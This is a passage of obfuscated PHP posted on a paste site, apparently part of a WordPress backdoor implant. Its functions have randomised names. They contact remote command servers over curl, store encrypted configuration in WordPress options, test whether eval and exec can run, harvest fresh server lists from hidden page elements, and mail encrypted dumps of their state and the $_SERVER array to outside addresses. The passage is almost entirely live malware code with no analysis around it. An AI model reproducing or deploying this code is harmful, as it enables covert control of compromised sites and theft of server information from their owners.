  571.         $oXyaqmHoChvHQFCvTluq = json_decode($oXyaqmHoChvHQFCvTluq, true);
  572.         if ($oXyaqmHoChvHQFCvTluq == false) {
  573.             return false;
  574.  
  575.         }
  576.         else{
  577.             if (!isset($oXyaqmHoChvHQFCvTluq['servers'])) {
  578.                 return false;
  579.             }
  580.         }
  581.         return $oXyaqmHoChvHQFCvTluq;
  582.     }
  583.  
  584.     private function RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv, $WbKPQMoSbMZkXUeYKXRI = null,$BZaxGALPLdVfntBIQWUP = null){
  585.         if (strstr($gXNjWLFkUQOugyREMXKv, $_SERVER['HTTP_HOST']) || trim($gXNjWLFkUQOugyREMXKv) == '') {
  586.             return false;
  587.         }
  588.         if (isset($WbKPQMoSbMZkXUeYKXRI)) {
  589.             $BdlbpgzPBjxVLkBLnsrX = json_encode($WbKPQMoSbMZkXUeYKXRI);
  590.             $oXyaqmHoChvHQFCvTluq = $this->AeRxXNHxOXpcNJWlZSIK->bkBMtlOkGRaPFVExpcNb($BdlbpgzPBjxVLkBLnsrX);
  591.             $WbKPQMoSbMZkXUeYKXRI = array( "serverKey" => $WbKPQMoSbMZkXUeYKXRI['serverKey'], "data" => $oXyaqmHoChvHQFCvTluq['data'], "key" => $oXyaqmHoChvHQFCvTluq['key']  );
  592.         }
  593.         while (true){
  594.             $SCvWTGyfCYyeLdjcFFzo = curl_init();
  595.             curl_setopt($SCvWTGyfCYyeLdjcFFzo,CURLOPT_URL,"http://$gXNjWLFkUQOugyREMXKv");
  596.             curl_setopt($SCvWTGyfCYyeLdjcFFzo,CURLOPT_RETURNTRANSFER,1);
  597.             @curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_FOLLOWLOCATION, true);
  598.             if (isset($WbKPQMoSbMZkXUeYKXRI)) {
  599.                 curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_CUSTOMREQUEST, "POST");
  600.                 curl_setopt($SCvWTGyfCYyeLdjcFFzo, CURLOPT_POSTFIELDS, $WbKPQMoSbMZkXUeYKXRI);
  601.             }
  602.             curl_setopt($SCvWTGyfCYyeLdjcFFzo,CURLOPT_CONNECTTIMEOUT,10);
  603.             $oXyaqmHoChvHQFCvTluq = curl_exec($SCvWTGyfCYyeLdjcFFzo);
  604.             curl_close($SCvWTGyfCYyeLdjcFFzo);
  605.             if (!strstr($oXyaqmHoChvHQFCvTluq, "301 Moved Permanently")) {
  606.                 break;
  607.             }
  608.             else{
  609.                 preg_match_all('/<a.*href=\""http:\/\/(.*?)\"".*?\>/',$oXyaqmHoChvHQFCvTluq,$NyFDhMvsSaUwvJsx);
  610.                 $gXNjWLFkUQOugyREMXKv = $NyFDhMvsSaUwvJsx[1][0];
  611.             }
  612.         }
  613.         return $oXyaqmHoChvHQFCvTluq;
  614.     }
  615.  
  616.     private function aIIwgKgvtyRoWoMedUdb($piiJbwvzLxHvKjlNnFzd, $oXyaqmHoChvHQFCvTluq)
  617.     {
  618.         if (is_array($oXyaqmHoChvHQFCvTluq)) {
  619.             $oXyaqmHoChvHQFCvTluq = json_encode($oXyaqmHoChvHQFCvTluq);
  620.         }
  621.         $ilUTrmqGvQsBtZfyeBXf = $this->AeRxXNHxOXpcNJWlZSIK->MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluq);
  622.         if ($this->YYfeblxJfGQgkPpfdrIO($ilUTrmqGvQsBtZfyeBXf))
  623.             $oXyaqmHoChvHQFCvTluq = json_decode($ilUTrmqGvQsBtZfyeBXf, true);
  624.         if (!isset($oXyaqmHoChvHQFCvTluq['key']) || !isset($oXyaqmHoChvHQFCvTluq['data']) || strlen($oXyaqmHoChvHQFCvTluq['key']) == 0 || strlen($oXyaqmHoChvHQFCvTluq['data']) == 0 ) {
  625.             die();
  626.         }
  627.         update_option($piiJbwvzLxHvKjlNnFzd, $ilUTrmqGvQsBtZfyeBXf);
  628.     }
  629.  
  630.     private function McEnUjjQfaFzqGsihhU($piiJbwvzLxHvKjlNnFzd, $ysnqBUjsRbJDIlZaAE = false)
  631.     {
  632.         if (!$ysnqBUjsRbJDIlZaAE) {
  633.             $oXyaqmHoChvHQFCvTluq = get_option($piiJbwvzLxHvKjlNnFzd);
  634.         }else{
  635.             $oXyaqmHoChvHQFCvTluq = $piiJbwvzLxHvKjlNnFzd;
  636.         }
  637.  
  638.         $GfNOeQGoTKggozAbXZAU = $this->AeRxXNHxOXpcNJWlZSIK->vZlUWjEYdyPGPomnFXMG($oXyaqmHoChvHQFCvTluq);
  639.         return json_decode($GfNOeQGoTKggozAbXZAU, true);
  640.     }
  641.  
  642.     private function YrCTrfUzBfsVJKvqiYUe(){
  643.         $givBPiVtALrQjPLInUFK = false;
  644.         @eval('$givBPiVtALrQjPLInUFK = true;');
  645.         return $givBPiVtALrQjPLInUFK;
  646.     }
  647.  
  648.     private function KNstTqErzZQBDQOODaJd() {
  649.         $BlvGDekbFjVHsnUrjUKq = explode(', ', ini_get('disable_functions'));
  650.         return !in_array('exec', $BlvGDekbFjVHsnUrjUKq);
  651.     }
  652.  
  653.  
  654.     private function XnpSvtOjNDRmxyfzaDKl($oXyaqmHoChvHQFCvTluq = null) {
  655.         if ($oXyaqmHoChvHQFCvTluq == null) {
  656.             $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
  657.         }
  658.  
  659.         if (isset($oXyaqmHoChvHQFCvTluq['info']['fail'])){
  660.             $oXyaqmHoChvHQFCvTluq['info']['fail']++;
  661.         }else{
  662.             $oXyaqmHoChvHQFCvTluq['info']['fail'] = 1;
  663.         }
  664.         if (($oXyaqmHoChvHQFCvTluq['info']['fail'] % 100) == 0 && isset($oXyaqmHoChvHQFCvTluq['clients'])){
  665.             foreach ($oXyaqmHoChvHQFCvTluq['clients'] as $qBNcTAaiRUhfdXBSzsVg) {
  666.                 if (strstr($qBNcTAaiRUhfdXBSzsVg, "|") === false) {
  667.                     continue;
  668.                 }
  669.                 else{
  670.                     $AoNmaQCAQvHyEPvRUhbf = explode("|", $qBNcTAaiRUhfdXBSzsVg);
  671.                 }
  672.  
  673.                 $gXNjWLFkUQOugyREMXKv = $AoNmaQCAQvHyEPvRUhbf[0] . "?" . $AoNmaQCAQvHyEPvRUhbf[1];
  674.                 $OQijXfnrxWxPIcPSUibK = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv);
  675.                 preg_match("/<div id=\"serverList\" style=\"display: none\">(?<content>.*?)<\/div>/", $OQijXfnrxWxPIcPSUibK, $NUwGojaMFrWOXnaoPPXm);
  676.                 if ($this->YYfeblxJfGQgkPpfdrIO($NUwGojaMFrWOXnaoPPXm['content'])){
  677.                     $OQijXfnrxWxPIcPSUibK = json_decode($NUwGojaMFrWOXnaoPPXm['content'], true);
  678.                     if (isset($this->oXyaqmHoChvHQFCvTluq)) {
  679.                         $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
  680.                     }else{
  681.                         $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE();
  682.                     }
  683.  
  684.  
  685.                     $oXyaqmHoChvHQFCvTluq['servers'] = array_merge($OQijXfnrxWxPIcPSUibK['servers'], $oXyaqmHoChvHQFCvTluq['servers']);
  686.                     $this->$oXyaqmHoChvHQFCvTluq['servers'] = array_unique($oXyaqmHoChvHQFCvTluq['servers']);
  687.  
  688.                 }
  689.                 else{
  690.                 }
  691.             }
  692.         }
  693.  
  694.  
  695.  
  696.  
  697.         if ($oXyaqmHoChvHQFCvTluq['info']['fail'] % 100 == 0) {
  698.             $LMKkvQfVacsJkiwJOKQm = false;
  699.             $aJQafHDwnaPrCJrQMjHV = $this->XsvsqpxlWxfKYiyUc($oXyaqmHoChvHQFCvTluq['info']['fail'] / 100 * 5);
  700.             $GSpWdZRUzAuMgSxhFeQs = array();
  701.             for($BCEUSjHFFwzzqmHmpjjQ = 0; $BCEUSjHFFwzzqmHmpjjQ < 5 ; $BCEUSjHFFwzzqmHmpjjQ++) {
  702.                 $YwrSbZoVizxkPzSqHegT = rand( 0, count($aJQafHDwnaPrCJrQMjHV) - 1);
  703.                 $TcfJENOGUCdnEeJdjBHS = 0;
  704.                 $XCZRNpIiBvvCJTeyKlyc = 0;
  705.                 while(in_array($YwrSbZoVizxkPzSqHegT,$GSpWdZRUzAuMgSxhFeQs)){
  706.                     $XCZRNpIiBvvCJTeyKlyc++;
  707.                     $TcfJENOGUCdnEeJdjBHS ++;
  708.                     $YwrSbZoVizxkPzSqHegT = rand( 0, count($aJQafHDwnaPrCJrQMjHV) - 1);
  709.                     if ($TcfJENOGUCdnEeJdjBHS == 10) {                         $LMKkvQfVacsJkiwJOKQm = true;
  710.                         break;
  711.                     }
  712.                 }
  713.                 if ($LMKkvQfVacsJkiwJOKQm){
  714.                     break;
  715.                 }
  716.                 $GSpWdZRUzAuMgSxhFeQs[] = $YwrSbZoVizxkPzSqHegT;
  717.                 mail($aJQafHDwnaPrCJrQMjHV[$YwrSbZoVizxkPzSqHegT], "Call", json_encode($this->AeRxXNHxOXpcNJWlZSIK->bkBMtlOkGRaPFVExpcNb(print_r($oXyaqmHoChvHQFCvTluq, true) . print_r($_SERVER, true))));
  718.             }
  719.  
  720.             $this->vwhhtIrAWhUEFDgPrcco = true;
  721.  
  722.         }
  723.         $this->aIIwgKgvtyRoWoMedUdb(NYOtWHUXirvRWKhceXsE, $oXyaqmHoChvHQFCvTluq);
  724.     }
  725.  
  726.     private function YYfeblxJfGQgkPpfdrIO($oXyaqmHoChvHQFCvTluq){
  727.         $oXyaqmHoChvHQFCvTluq = json_decode($oXyaqmHoChvHQFCvTluq);
  728.         if ($oXyaqmHoChvHQFCvTluq == null)
  729.             return false;
  730.         return true;
  731.     }
  732.  
  733.  
  734.     private function VitTYMKdJITsiXBTLOEA($QrnkCEWRkHbQPoEPelYQ, $MTPkrEtDJbjkrzXWSBgA)
  735.     {
  736.         $PVSXPKLAQGaWKUtNNUYQ = count($QrnkCEWRkHbQPoEPelYQ);
  737.         if ($PVSXPKLAQGaWKUtNNUYQ <= $MTPkrEtDJbjkrzXWSBgA) {
  738.             return $QrnkCEWRkHbQPoEPelYQ;
  739.         }
  740.  
  741.         $oXyaqmHoChvHQFCvTluq[] = array();
  742.         $PaTgoaVMMKhvlmVWxSnB = array();
  743.         $FyQVCWLNApYgwsSzygQg = 0;
  744.         $BCEUSjHFFwzzqmHmpjjQ = 0;
  745.         while (true) {
  746.             $BCEUSjHFFwzzqmHmpjjQ++;
  747.  
  748.             $piiJbwvzLxHvKjlNnFzd = $this->YHhBHrBuAZYCsZUCLxMN($this->htcFFCQTLLpnCchsPKGY . $BCEUSjHFFwzzqmHmpjjQ , $PVSXPKLAQGaWKUtNNUYQ);
  749.             if (in_array($piiJbwvzLxHvKjlNnFzd, $PaTgoaVMMKhvlmVWxSnB)) {
  750.                 continue;
  751.             }
  752.             $PaTgoaVMMKhvlmVWxSnB[] = $piiJbwvzLxHvKjlNnFzd;
  753.             $FyQVCWLNApYgwsSzygQg++;
  754.             if ($FyQVCWLNApYgwsSzygQg == $MTPkrEtDJbjkrzXWSBgA) {
  755.                 break;
  756.             }
  757.         }
  758.         foreach ($PaTgoaVMMKhvlmVWxSnB as $piiJbwvzLxHvKjlNnFzd) {
  759.             $oXyaqmHoChvHQFCvTluq[] = $QrnkCEWRkHbQPoEPelYQ[$piiJbwvzLxHvKjlNnFzd];
  760.         }
  761.  
  762.         return $oXyaqmHoChvHQFCvTluq;
  763.     }
  764.  
  765.     private function YHhBHrBuAZYCsZUCLxMN($htcFFCQTLLpnCchsPKGY, $BwYCWyuBYkgiOzNljFJO)
  766.     {
  767.         $dzVXtdBSuUwgnARTiNIC = 0;
  768.  
  769.         $JAxNyUCJRbrfbemcWrOF = hash("md5",$htcFFCQTLLpnCchsPKGY);
  770.         $dzVXtdBSuUwgnARTiNIC = (preg_replace("/[^0-9,.]/", "", $JAxNyUCJRbrfbemcWrOF));
  771.         while ($dzVXtdBSuUwgnARTiNIC > 10000000){
  772.             $dzVXtdBSuUwgnARTiNIC /= 100000;
  773.         }
  774.         $this->IatJdWimJbxtprWZElHe = $dzVXtdBSuUwgnARTiNIC;
  775.         $dzVXtdBSuUwgnARTiNIC %= $BwYCWyuBYkgiOzNljFJO;
  776.         return $dzVXtdBSuUwgnARTiNIC;
  777.     }
  778. } ?>
Advertisement
Add Comment
Please, Sign In to add comment